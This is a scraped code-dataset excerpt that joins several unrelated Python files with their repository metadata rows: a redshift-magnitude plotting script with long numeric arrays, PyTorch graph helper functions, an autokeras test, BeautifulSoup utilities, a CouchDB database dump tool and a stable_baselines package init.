,0.132143781265
,0.155174252389
,0.146266612538
,0.139677729246
,0.142023222928
,0.120475217309
,0.125621852074
,0.11193654747
,0.114893026219
,0.140263606877
,0.154509467451
,0.118243252284
,0.212015765825
,0.133809098038
,0.144862922481
,0.11609784707
,0.117868646113
,0.115343190964
,0.135822682884
,0.120481707591
,0.118814561252
,0.129617980863
,0.13579473086
,0.124812931046
,0.117827563103
,0.135100374854
,0.12534004292
,0.120534772995
,0.119858620288
,0.148158100576
,0.121635351197
,0.199892747232
,0.203900920127
,0.1381090777
,0.124767998966
,0.132159093773
,0.176630102674
,0.152039612546
,0.114183512043
,0.117222451448
,0.145717293983
,0.188189991384
,0.178077262302
,0.152073477348
,0.154102535988
,0.36344840931
,0.395579278552
,0.395227786467
,0.320340946007
,0.333518201962
,0.466023796791
,0.408470067632
,0.32528185368
,0.322646999342
,0.818432977093
,0.363960881605
,0.476221516489
,0.566269702273
,0.511751148392
,0.45952604589
,0.653193752978
,0.426633125026
,0.668671821574
,0.619060682936
,0.522213466148
,0.943967733848
,0.452691548423
,1.02320057236
,0.727363486932
,0.436282215602
,0.521010819611
,0.909043307134
,0.526483896531
,0.465243749852
,0.598757469559
,0.635534544683
,0.449365583478
,0.452457762216
,0.476394763516
,0.471680427567
,0.51587600329
,0.529360126953
,0.564010349483
,0.483871492231
,0.503703328639
,0.652414722917
,0.610115606889
,0.532970328234
,0.494543625705
,0.506403802203
,0.2534244988
,0.302526442652
,0.717608197762
,0.250124518086
,0.298988010763
,0.29259857127
,0.746941209578
,0.440949943442
,0.295573375025
,0.37487817081
,0.232651192244
,0.207508245548
,0.386258428909
,0.238374333285
,0.597150330975
,0.531348208869
,0.395564414276
,0.223384059982
,0.243792731173
,0.207808738715
,0.197085550242
,0.264144092838
,0.201887086183
,0.0965091021297
,0.137773519339
,0.189960701162
,0.148525009826
,0.194442979286
,0.168225439785
,0.106490971154
,0.203457956158
,0.171350462953
,0.11058193483
,0.172897098508
,0.165250052616
,0.225125911159
,0.278620780131
,0.215627670046
,0.293679174465
,0.144017146978
,0.15737107879
,0.211176417394
,0.259277417037
,0.141995153329
,0.158128342293
,0.203347956975
,0.207672991039
,0.171303725502
,0.156001611413
,0.167913176451
,0.13852607255
,0.153627203737
,0.345401297016
,0.166247667787
,0.136350904009
,0.441320917548
,0.185960509148
,0.196706401553
,0.154395011149
,0.171049818244
,0.162167199818
,0.15383794776
,0.175419559321
,0.160870192314
,0.290419777723
,0.137402734867
,0.147860252643
,0.190445811927
,0.249257746544
,0.154020408449
,0.212840468683
,0.194569634979
,0.212381883478
,0.20904577048
,0.150278973145
,0.136956742249
,0.380891045794
,0.225350070805
,0.152228805806
,0.168434413662
,0.173662227482
,0.260816306234
,0.288339749303
,0.180730669073
,0.155882980598
,0.217280907113
,0.197639177097
,0.160984148284
,0.156209026367
,0.215181910354
,0.29513371916
,0.138055963607
,0.270806993269
,0.135415118781
,0.167688951886
,0.256534768993
,0.13857499344
,0.188595219767
,0.156453875009
,0.158306777046
,0.27125777036
,0.148626981409
,0.158124901298
,0.166956993834
,0.281601232201
,0.15061141667
,0.308183442634
,0.22595475705
,0.273050416654
,0.288536338632
,0.316956305777
,0.23053144449
,0.219199816494
,0.229672711685
,0.217391698785
,0.20891536552
,0.2294063655
,0.238102446996
,0.215459944632
,0.246358907571
,0.240709017167
,0.283065430909
,0.205242395733
,0.225170628892
,0.284735745242
,0.245972086709
,0.23539370649
,0.216241856053
,0.222751847877
,0.243223346147
,0.307329015793
,0.259435785458
,0.315186986894
,0.386382183638
,0.249438141428
,0.232044816512
,0.284960259957
,0.371779826612
,0.224122410473
,0.261565759588
,0.253453216931
,0.275320135034
,0.232764787176
,0.227776883863
,0.325882220619
,0.296231218043
,0.265794738732
,0.286826360161
,0.274033552724
,0.233155755193
,0.280738355979
,0.23465390113
,0.218430762841
,0.225411924471
,0.210577314192
,0.217182931008
,0.296179216596
,0.209762707255
,0.229723298662
,0.327843886551
,0.292732159101
,0.336024813008
,0.304687254477
,0.260077754247
,0.336087850286
,0.2525260008
,0.243685251902
,0.394367550265
,0.268565103689
,0.225338954944
,0.235138397674
,0.248621683092
,0.207836005267
,0.215775825102
,0.303416211397
,0.217189018845
,0.207444974165
,0.232554896589
,0.325104262678
,0.261568700364
,0.20080587099
,0.185467817051
,0.30169867661
,0.240606195136
,0.466035003635
,0.232259103398
,0.208732914262
,0.216820067565
,0.213134015411
,0.244915950922
,0.198885573363
,0.282255398884
,0.183311419886
,0.238383165249
,0.196808697491
,0.2262922033
,0.21187088553
,0.222899260788
,0.236655407187
,0.209549982904
,0.322525273833
,0.184037573567
,0.248548172881
,0.222117064104
,0.217324926249
,1.07792101581
,0.249576425145
,0.231050242645
,0.185908921392
,0.364467879127
,0.265400797402
,0.224124266884
,0.186583218843
,0.186744572784
,0.267856909216
,0.194732639155
,0.215358476354
,0.971680645776
,0.198690905622
,0.105933336834
,0.121926562564
,0.0899118005512
,0.142160782046]
mag = [
35.3355510594
,36.6754415683
,36.8168806729
,37.4403208027
,37.4803312569
,38.2312880884
,37.4880153326
,34.6528548205
,36.3351409577
,36.6329198059
,35.9028802813
,34.5849105142
,38.4564792878
,35.0742634622
,37.5857951062
,35.4739511994
,36.5637135925
,35.5474875749
,34.0357608093
,33.9288622487
,35.5987234724
,35.0588114943
,34.9628931602
,35.3604256119
,36.7224923466
,35.0989067311
,34.0945752677
,35.9784201813
,36.3736376383
,34.8477997627
,35.6443099344
,39.0474440635
,35.8166920463
,34.2137334689
,33.9968666808
,34.9662747364
,34.1782747061
,35.0760231692
,36.1310606977
,34.9290818261
,34.3341878854
,35.7209576638
,35.1655185904
,34.0023106368
,36.47359007
,34.3727214476
,35.079691262
,34.2567548437
,35.9695297947
,34.3359548469
,34.1611242178
,36.9482868597
,39.227736887
,36.3296338828
,38.8089373233
,38.8286718588
,38.9767208561
,37.6784334873
,37.0227081887
,35.9151154293
,36.3635574234
,34.0128062018
,34.9604436109
,34.1665118574
,35.9818330401
,34.2481675909
,35.6190668111
,34.8880671183
,33.8142603068
,34.7844502384
,35.6227445028
,35.5095000297
,34.2611733597
,35.9597476335
,35.6729412003
,35.2550362369
,35.9909847314
,34.428922484
,35.0398652996
,34.7556470033
,35.6821627437
,35.8268020378
,36.6034159881
,35.1708581962
,36.0054974141
,35.8323574252
,35.3540611638
,34.6494717372
,35.8862461317
,34.9213754902
,35.506995688
,35.8612155366
,35.5704019595
,35.942753551
,36.5991688426
,36.4032354598
,37.1076369832
,35.9894165447
,37.6492880383
,34.7125139232
,34.5973526852
,36.3669644792
,35.3618288289
,35.4093397274
,35.3032674902
,35.0233196812
,37.5632893538
,37.3353162366
,35.1846393132
,34.3947741135
,35.6474839975
,34.9211199992
,35.6747779958
,35.7976725473
,38.0527926414
,35.6124448286
,36.0723318412
,36.3883376162
,37.7252349619
,34.6566486547
,34.8677153894
,36.7199743885
,35.9144831533
,34.7285878322
,35.7737272495
,34.8346147484
,35.685542453
,35.9646644449
,34.7963237588
,34.2290778645
,36.1419516923
,35.192149373
,37.1375683747
,37.0511345128
,37.4743372416
,35.624004108
,36.6643549794
,35.5802476433
,35.9289937858
,35.066402753
,34.3704032433
,35.8655549482
,37.1708016197
,35.8135243381
,34.6890069038
,34.8412253332
,35.5819126039
,34.5091434423
,34.4813665248
,35.3141855009
,35.7917282129
,34.9096518953
,35.197313794
,35.969795049
,35.130731713
,35.880989798
,34.0863548459
,35.7604333404
,34.9393048575
,34.3767780517
,37.3262250234
,39.5592698132
,38.9057647374
,38.5020998563
,40.1393375624
,41.0666243477
,36.393636275
,38.5632028326
,40.6227568239
,41.1521879097
,41.6800684404
,39.0624777172
,40.7342862612
,40.786167145
,41.5943818036
,41.2798844609
,41.4958048947
,41.3186791849
,37.9849524764
,40.5403068912
,40.3106668232
,38.5741014523
,39.6049215973
,41.3392339457
,39.2819503516
,40.8215974583
,40.2129770735
,39.1872750155
,38.1877012201
,41.0542374079
,39.9663270466
,39.3027549618
,40.5699103652
,39.6471841809
,40.7841092312
,40.0333916493
,41.3167357808
,38.7531726515
,39.1375855648
,39.3037024249
,40.8596631914
,38.8075567467
,40.5592893806
,38.7165439115
,39.5156068266
,39.4205055796
,40.7874215484
,40.6700406667
,38.6596242466
,39.3773509139
,40.0315745848
,40.2148561368
,40.2851903681
,40.2680210961
,37.9819349544
,37.1535798244
,40.8489855129
,40.7532140999
,39.3285968248
,41.2409920908
,41.396805305
,41.0563346847
,39.3150656135
,41.6178771066
,39.5466952992
,40.8576976883
,38.7723677225
,40.2077951229
,38.7645868009
,39.3526221585
,41.8584359733
,40.0988547901
,40.7555023446
,40.5530673076
,41.5147227504
,38.8646925888
,41.7503175801
,41.0341628563
,39.4855106255
,40.7832381081
,40.9195402038
,39.8366280383
,37.3759156237
,41.4006012087
,40.6017587956
,41.045986724
,40.6829741028
,40.5154942024
,40.9271885736
,39.7779949203
,40.5175395642
,38.7102646797
,39.8151415007
,41.0285113011
,41.210916386
,37.8397856085
,41.9224021245
,39.8812126015
,40.9849963429
,39.9909774034
,39.7491170234
,38.2966544602
,41.0429300945
,38.6660439788
,38.0070616987
,39.9944125695
,39.9334159336
,38.9203810159
,40.2168645316
,41.1205696642
,40.2294909454
,39.9496020384
,38.1541733477
,41.4455391404
,39.9869791346
,41.8848542117
,42.1513901027
,40.6523430162
,39.7133625937
,40.0983712623
,41.1643837956
,41.7971037106
,38.7000698518
,39.1892893551
,40.5264639914
,41.9150400049
,41.3091071435
,40.4975321919
,40.3796999961
,41.3250227805
,43.2414539718
,42.5033997022
,40.978473029
,42.0839004042
,42.4243368959
,40.7410932476
,42.0682788206
,42.3772235339
,42.8096709251
,42.3725071675
,43.5528793931
,42.4507674693
,42.0658249423
,41.8473340603
,43.2099933879
,41.2583245282
,42.984995669
,41.7782581789
,41.9753335602
,43.2038030699
,40.2161567859
,44.3775825486
,44.1658958719
,39.3060887655
,41.9606135946
,44.5058457473
,43.3165540203
,41.8021270066
,42.2798419395
,43.163757796
,42.1349159624
,41.7890062516
,42.6854322147
,42.2304967413
,42.4252888348
,42.1742925555
,42.5543829775
,42.3331570972
,42.3212910372
,42.9963723488
,41.8196468352
,42.8441573957
,41.2107609985
,42.8072073246
,41.5784932046
,44.1117949333
,43.3110517598
,42.4736471276
,43.5101906132
,44.207875513
,44.0859183588
,43.7942852172
,42.7280926842
,43.5871786373
,41.0979300094
,41.4943125288
,43.6655368654
,43.3737484585
,43.3697792983
,43.6994307822
,43.2887235894
,43.5326743178
,39.4462680572
,40.8362001457
,39.7205596334
,40.7878025381
,40.3913025086
,42.4924155173
,43.2578441337
,42.7777247214
,42.1996725697
,43.1807709647
,42.3326264116
,42.012529312
,41.3484969437
,43.6120619833
,42.4390506937
,43.9375562435
,42.5493325602
,43.9018471523
,43.6192033448
,43.8124852428
,43.560407391
,41.7962473711
,42.9023716786
,44.0535603584
,43.3156514414
,41.8744251286
,42.5769689992
,43.5871216709
,43.2116658024
,43.0819715543
,40.6239072462
,42.5758707909
,41.0697589526
,41.3543412802
,44.2645401128
,42.9845810521
,41.3549032931
,44.1893249256
,43.0248980987
,43.3070687497
,42.1421923658
,43.0397842919
,42.1985723808
,41.6294017233
,42.4289650526
,42.5524984575
,43.9666494559
,40.8511146401
,40.8220972223
,42.2963775812
,43.5171093106
,42.2096742771
,43.4274096531
,43.841972097
,43.6787360537
,43.3334915384
,42.2898806519
,41.4214717885
,44.0371993632
,43.7160273544
,41.8054832197
,42.4095309248
,42.5652698448
,43.6621900525
,43.4319714347
,42.0972776673
,41.6640301668
,43.7102538752
,43.4861035947
,42.6983720673
,42.2953525972
,43.3737778575
,43.9924930818
,41.3217710555
,44.3268198751
,40.6244185037
,43.0199766985
,43.0987782021
,41.4503101861
,43.1874760163
,42.7733707088
,42.787445377
,43.4040974169
,42.0541814484
,42.0196027616
,43.0704958563
,44.2406074622
,42.365523828
,43.2254104475
,41.7735214129
,41.3426796309
,42.4054033796
,43.0843340799
,41.7052599054
,39.9080744849
,41.2288219413
,41.8946716216
,41.5682803687
,41.9353580779
,41.1833648256
,41.3961782167
,39.4107379798
,41.2676756269
,42.3702690971
,40.2574128205
,41.4318861711
,42.8246855768
,42.3865265731
,42.8351146004
,41.9059782715
,42.0884631073
,42.2377984208
,42.885843734
,41.3581075779
,41.4232510759
,42.7610577503
,43.0710915246
,41.7458788277
,42.5245932467
,42.5627722403
,40.0720006034
,42.210722156
,41.6620032351
,41.2957407355
,41.0820238262
,41.8887223665
,42.1362463861
,41.4864269384
,42.1528623126
,43.0153077416
,42.8464372814
,42.259591209
,42.657813727
,42.1973742088
,41.5970773005
,40.1001985435
,41.1905064352
,40.5328864644
,42.3924561345
,40.7263236177
,39.6956112205
,43.1797675167
,42.9107934322
,41.9343745013
,41.5401633967
,41.2113198625
,43.069622149
,40.3605248738
,41.2482461469
,43.6987176723
,41.9498405771
,41.0072769026
,42.8981977617
,42.6951558939
,41.4880607389
,40.876793648
,42.3751743659
,40.4037818654
,40.8493617042
,42.2037743798
,43.4540256112
,42.6305005668
,40.5752670828
,42.0650099983
,43.6483165605
,44.1666838278
,43.7075622463
,42.3383621215
,44.2946061494
,44.2601276384
,43.6206227915
,45.0317825245
,44.2680083865
,44.481706307
,43.3016559562
,44.8354256258
,42.143982369
,44.0808776922
,44.438447316
,44.9361444895
,44.2836832301
,43.4104143734
,44.835860554
,42.387525323
,42.1139203511
,43.8364762181
,44.8687556563
,42.9259149014
,44.6420998553
,40.5426584948
,43.1000774659
,44.2011896159
,45.1191615825
,44.8535903247
,43.1550267844
,42.9104214351
,45.0024532701
,43.5102466754
,43.5500467052
,44.2912529866
,44.5764033273
,42.5302511229
,42.9914166016
,42.388163454
,44.2516558833]
import matplotlib.pyplot as plt
plt.figure()
plt.scatter(zpicks1,mag)
plt.title('zpicks1')
plt.figure()
plt.scatter(zpicks2,mag)
plt.title('zpicks2')
zpicks1, mag = (list(t) for t in zip(*sorted(zip(zpicks1, mag))))
plt.figure()
plt.plot(zpicks1,mag)
plt.title('zpicks1 sorted')
mag = np.asarray(mag)
output1 = mag, zpicks1
# Relative path of output folder.
save_path = './data/'+'sorted1'
import pickle
pickle.dump(output1, open(save_path, 'wb'))
import results
mag1, zpicks1 = results.load('./data', 'sorted1')
plt.figure()
plt.title('model: sorted1'
+'\n Evolution of magnitude with redshift')
#data = plt.errorbar(zpicks1, mag2, yerr=0.7, fmt='.', alpha=0.3)
best_fit = plt.scatter(zpicks1, mag1, marker='.', lw='1', c='xkcd:tomato')
plt.ylabel('magnitude')
plt.xlabel('z')
plt.show(block=False) | 21.60543 | 74 | 0.45528 | 3,524 | 37,399 | 4.830306 | 0.472474 | 0.001057 | 0.00141 | 0.00094 | 0.003995 | 0 | 0 | 0 | 0 | 0 | 0 | 0.78953 | 0.449397 | 37,399 | 1,731 | 75 | 21.60543 | 0.037102 | 0.010535 | 0 | 0.103062 | 0 | 0 | 0.003596 | 0 | 0.000589 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.002356 | 0 | 0.002356 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
cec60ba36f74eaf7b5acd1135ef7abbf294e4569 | 2,386 | py | Python | helper.py | hc-fang/GOGCN | e49e1b153f3bbae62e038bda58e1050fb7921868 | [
"Apache-2.0"
] | 1 | 2021-04-08T02:22:43.000Z | 2021-04-08T02:22:43.000Z | helper.py | hc-fang/GOGCN | e49e1b153f3bbae62e038bda58e1050fb7921868 | [
"Apache-2.0"
] | null | null | null | helper.py | hc-fang/GOGCN | e49e1b153f3bbae62e038bda58e1050fb7921868 | [
"Apache-2.0"
] | null | null | null | import sys, os, random, json, uuid, time, argparse, logging, logging.config
import numpy as np
from random import randint
from collections import defaultdict as ddict, Counter
from orderedset import OrderedSet
from pprint import pprint
# PyTorch related imports
import torch
from torch.nn import functional as F
from torch.nn.parameter import Parameter
from torch.nn.init import xavier_normal_, xavier_uniform_
from torch.nn import Parameter as Param
from torch.utils.data import DataLoader
from torch_scatter import scatter_add
np.set_printoptions(precision=4)
def set_gpu(gpus):
"""
Sets the GPU to be used for the run
Parameters
----------
gpus: List of GPUs to be used for the run
Returns
-------
"""
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = gpus
def get_logger(name, log_dir, config_dir):
"""
Creates a logger object
Parameters
----------
name: Name of the logger file
log_dir: Directory where logger file needs to be stored
config_dir: Directory from where log_config.json needs to be read
Returns
-------
A logger object which writes to both file and stdout
"""
config_dict = json.load(open(config_dir + 'log_config.json'))
config_dict['handlers']['file_handler']['filename'] = log_dir + name.replace('/', '-')
logging.config.dictConfig(config_dict)
logger = logging.getLogger(name)
std_out_format = '%(asctime)s - [%(levelname)s] - %(message)s'
consoleHandler = logging.StreamHandler(sys.stdout)
consoleHandler.setFormatter(logging.Formatter(std_out_format))
logger.addHandler(consoleHandler)
return logger
def get_param(shape):
param = Parameter(torch.Tensor(*shape))
xavier_normal_(param.data)
return param
def com_mult(a, b):
r1, i1 = a[..., 0], a[..., 1] #最后一维上第一组元素、第二组元素
r2, i2 = b[..., 0], b[..., 1] #最后一维上第一组元素、第二组元素
return torch.stack([r1 * r2 - i1 * i2, r1 * i2 + i1 * r2], dim = -1)
def conj(a):
a[..., 1] = -a[..., 1] # 最后一维第二组元素的相反数
return a
def cconv(a, b):
return torch.irfft(com_mult(torch.rfft(a, 1), torch.rfft(b, 1)), 1, signal_sizes=(a.shape[-1],))
def ccorr(a, b):
#torch.irfft:从复到实的反离散傅里叶变换
#torch.rfft:从实到复的离散傅里叶变换
return torch.irfft(com_mult(conj(torch.rfft(a, 1)), torch.rfft(b, 1)), 1, signal_sizes=(a.shape[-1],)) | 27.425287 | 103 | 0.678122 | 343 | 2,386 | 4.603499 | 0.38484 | 0.034199 | 0.027866 | 0.021533 | 0.102597 | 0.073464 | 0.051932 | 0.051932 | 0.051932 | 0.051932 | 0 | 0.01447 | 0.189019 | 2,386 | 87 | 103 | 27.425287 | 0.80155 | 0.224644 | 0 | 0 | 0 | 0 | 0.076661 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.309524 | 0.047619 | 0.619048 | 0.047619 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
ced34294496654f453a0aeb02871d2de1cde1aba | 264 | py | Python | tests/nn/test_generator.py | jeziellago/autokeras | cf93211c82dc61b239b8542d45ff111ff3b94a08 | [
"MIT"
] | null | null | null | tests/nn/test_generator.py | jeziellago/autokeras | cf93211c82dc61b239b8542d45ff111ff3b94a08 | [
"MIT"
] | 4 | 2018-10-23T13:08:03.000Z | 2018-10-23T13:18:22.000Z | tests/nn/test_generator.py | EvgeniyBochenkov/github-move | d5f3b36fc220e89b9af243a10ae199358983e98d | [
"MIT"
] | null | null | null | from autokeras.nn.generator import *
from autokeras.nn.graph import TorchModel
def test_default_generator():
generator = CnnGenerator(3, (28, 28, 1))
graph = generator.generate()
model = graph.produce_model()
assert isinstance(model, TorchModel)
| 26.4 | 44 | 0.734848 | 32 | 264 | 5.96875 | 0.59375 | 0.136126 | 0.157068 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027149 | 0.162879 | 264 | 9 | 45 | 29.333333 | 0.837104 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0c66b6ccd44effdb08d8542cc82c14c0b60fd2f0 | 3,717 | py | Python | pudzu/sandbox/tureen.py | Udzu/pudzu | 5a0302830b052fc54feba891eb7bf634957a9d90 | [
"MIT"
] | 119 | 2017-07-22T15:02:30.000Z | 2021-08-02T10:42:59.000Z | pudzu/sandbox/tureen.py | Udzu/pudzu | 5a0302830b052fc54feba891eb7bf634957a9d90 | [
"MIT"
] | null | null | null | pudzu/sandbox/tureen.py | Udzu/pudzu | 5a0302830b052fc54feba891eb7bf634957a9d90 | [
"MIT"
] | 28 | 2017-08-04T14:28:41.000Z | 2019-11-27T23:46:14.000Z | import itertools
import operator
import re
import bs4
from pudzu.utils import *
# Various utilities for BeautifulSoup
# helper functions since: (a) bs4 tags need to be compared with is, not eq; (b) they're iterable
def remove_duplicate_tags(l):
"""Remove duplicate tags from a list (using object identity rather than equality)"""
return remove_duplicates(l, key=id)
def non_bs4_iterable(v):
"""Whether an object is a non-bs4 iterable."""
return non_string_iterable(v) and not hasattr(v, "find_all")
def make_bs4_iterable(v):
"""Return a non-bs4 iterable from an object, wrapping it in a tuple if needed."""
return v if non_bs4_iterable(v) else (v,)
# pretty-printing tags
def print_tags(tags, attr=None):
"""Print one or more tags, excluding any nested content."""
for tag in make_bs4_iterable(tags):
if attr is not None:
print(tag.attrs.get(attr, ""))
elif hasattr(tag, "attr"):
attrs = " ".join('{}="{}"'.format(k, " ".join(v) if non_string_iterable(v) else v) for k, v in sorted(tag.attrs.items()))
print("<{}{}{}>".format(tag.name, "" if len(tag.attrs) == 0 else " ", attrs))
else:
print(tag)
def print_path(tag):
"""Print the path from the root down to a tag."""
print_tags(list(itertools.chain([tag], tag.parents))[-2::-1])
pt = print_tags
pp = print_path
# filtering
def re_exclude(pattern):
"""Negated regular expression filter."""
pattern = re.compile(pattern)
return lambda v: v and not re.search(pattern, v)
def is_parent(t, s):
"""Whether t is s's parent."""
return t is s.parent
def is_child(t, s):
"""Whether t is s's child."""
return s is t.parent
def is_ancestor(t, s):
"""Whether t is an ancestor of s."""
return is_in(t, s.parents)
def is_descendent(t, s):
"""Whether t is a descendent of s."""
return is_in(s, t.parents)
def is_after(t, s):
"""Whether t occurs after s."""
return is_in(t, s.next_elements)
def is_before(t, s):
"""Whether t occurs before s."""
return is_in(s, t.next_elements)
def exclude_tags(tags, excluded, relation=operator.is_):
"""Filter out tags that are related to at least one of the excluded set."""
return [t for t in make_bs4_iterable(tags) if not any(relation(t, s) for s in make_bs4_iterable(excluded))]
def restrict_tags(tags, included, relation=operator.is_):
"""Restrict to tags that are related to at least one of the included set."""
return [t for t in make_bs4_iterable(tags) if any(relation(t, s) for s in make_bs4_iterable(included))]
# finding tags by chaining
def curry_method(method):
def fn(*args, **kwargs):
return lambda o: method(o, *args, **kwargs)
return fn
all_ = curry_method(bs4.element.Tag.find_all)
next_ = curry_method(bs4.element.Tag.find_all_next)
prev_ = curry_method(bs4.element.Tag.find_all_previous)
parents_ = curry_method(bs4.element.Tag.find_parents)
next_siblings_ = curry_method(bs4.element.Tag.find_next_siblings)
prev_siblings_ = curry_method(bs4.element.Tag.find_previous_siblings)
select_ = curry_method(bs4.element.Tag.select)
exclude_ = curry_method(exclude_tags)
restrict_ = curry_method(restrict_tags)
def find_tags(tags, *fns):
"""Apply a chain sequence of find methods to a collection of tags. Result may contain duplicates."""
ts = make_bs4_iterable(tags)
for fn in fns:
if not callable(fn):
fn = all_(fn)
ts = [s for t in ts for s in make_bs4_iterable(fn(t))]
return ts
def find_tag(tags, *fns):
"""Same as find_tags but returns the first result only (or None if there are none)."""
return first(find_tags(tags, *fns))
| 27.738806 | 133 | 0.678773 | 598 | 3,717 | 4.071906 | 0.264214 | 0.054209 | 0.049281 | 0.06037 | 0.255031 | 0.220534 | 0.16961 | 0.115811 | 0.087064 | 0.087064 | 0 | 0.008043 | 0.197202 | 3,717 | 133 | 134 | 27.947368 | 0.807976 | 0.268496 | 0 | 0 | 0 | 0 | 0.01139 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.276923 | false | 0 | 0.076923 | 0.015385 | 0.6 | 0.123077 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0c6fbe6a43db5dcc862f77b38370707ef62fdf5a | 2,510 | py | Python | couchdb/tools/dump.py | kocolosk/couchdb-python | e90e541365688063c341e58939c3ba58ceb2d69c | [
"BSD-3-Clause"
] | 1 | 2016-05-08T20:13:47.000Z | 2016-05-08T20:13:47.000Z | couchdb/tools/dump.py | kocolosk/couchdb-python | e90e541365688063c341e58939c3ba58ceb2d69c | [
"BSD-3-Clause"
] | null | null | null | couchdb/tools/dump.py | kocolosk/couchdb-python | e90e541365688063c341e58939c3ba58ceb2d69c | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2007 Christopher Lenz
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution.
from base64 import b64decode
from email.MIMEBase import MIMEBase
from email.MIMEMultipart import MIMEMultipart
from optparse import OptionParser
try:
import simplejson as json
except ImportError:
import json # Python 2.6
import sys
from couchdb import __version__ as VERSION
from couchdb.client import Database
def dump_db(dburl, username=None, password=None, boundary=None):
envelope = MIMEMultipart('mixed', boundary)
db = Database(dburl)
if username is not None and password is not None:
db.resource.http.add_credentials(username, password)
for docid in db:
doc = db.get(docid, attachments=True)
print>>sys.stderr, 'Dumping document %r' % doc.id
attachments = doc.pop('_attachments', {})
part = MIMEBase('application', 'json')
part.set_payload(json.dumps(doc, sort_keys=True, indent=2))
if attachments:
inner = MIMEMultipart('mixed')
inner.attach(part)
for name, info in attachments.items():
content_type = info.get('content_type')
if content_type is None: # CouchDB < 0.8
content_type = info.get('content-type')
maintype, subtype = content_type.split('/', 1)
subpart = MIMEBase(maintype, subtype)
subpart['Content-ID'] = name
subpart.set_payload(b64decode(info['data']))
inner.attach(subpart)
part = inner
part['Content-ID'] = doc.id
part['ETag'] = doc.rev
envelope.attach(part)
return envelope.as_string()
def main():
parser = OptionParser(usage='%prog [options] dburl', version=VERSION)
parser.add_option('-u', '--username', action='store', dest='username',
help='the username to use for authentication')
parser.add_option('-p', '--password', action='store', dest='password',
help='the password to use for authentication')
parser.set_defaults()
options, args = parser.parse_args()
if len(args) != 1:
return parser.error('incorrect number of arguments')
print dump_db(args[0], username=options.username,
password=options.password)
if __name__ == '__main__':
main()
| 33.026316 | 74 | 0.636255 | 300 | 2,510 | 5.226667 | 0.44 | 0.042092 | 0.01148 | 0.022959 | 0.072704 | 0.03699 | 0 | 0 | 0 | 0 | 0 | 0.010139 | 0.253386 | 2,510 | 75 | 75 | 33.466667 | 0.826574 | 0.09761 | 0 | 0 | 0 | 0 | 0.129933 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.113208 | 0.188679 | null | null | 0.037736 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
0c83b831d0506c8fea03630fae7acf7422c59d2f | 306 | py | Python | stable_baselines/__init__.py | yfletberliac/Actor-with-Variance-Estimated-Critic | 294ef39d05f31067907bb6ff9405183d4a530244 | [
"MIT"
] | 4 | 2020-10-04T02:15:47.000Z | 2020-10-13T15:24:22.000Z | stable_baselines/__init__.py | yfletberliac/actor-with-variance-estimated-critic | 294ef39d05f31067907bb6ff9405183d4a530244 | [
"MIT"
] | null | null | null | stable_baselines/__init__.py | yfletberliac/actor-with-variance-estimated-critic | 294ef39d05f31067907bb6ff9405183d4a530244 | [
"MIT"
] | 1 | 2021-05-06T08:55:24.000Z | 2021-05-06T08:55:24.000Z | from stable_baselines.ppo2 import PPO2
from stable_baselines.sac import SAC
# Load mpi4py-dependent algorithms only if mpi is installed.
try:
import mpi4py
except ImportError:
mpi4py = None
if mpi4py is not None:
from stable_baselines.trpo_mpi import TRPO
del mpi4py
__version__ = "2.9.0a0"
| 20.4 | 60 | 0.77451 | 46 | 306 | 4.978261 | 0.565217 | 0.131004 | 0.248908 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043651 | 0.176471 | 306 | 14 | 61 | 21.857143 | 0.865079 | 0.189542 | 0 | 0 | 0 | 0 | 0.028455 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
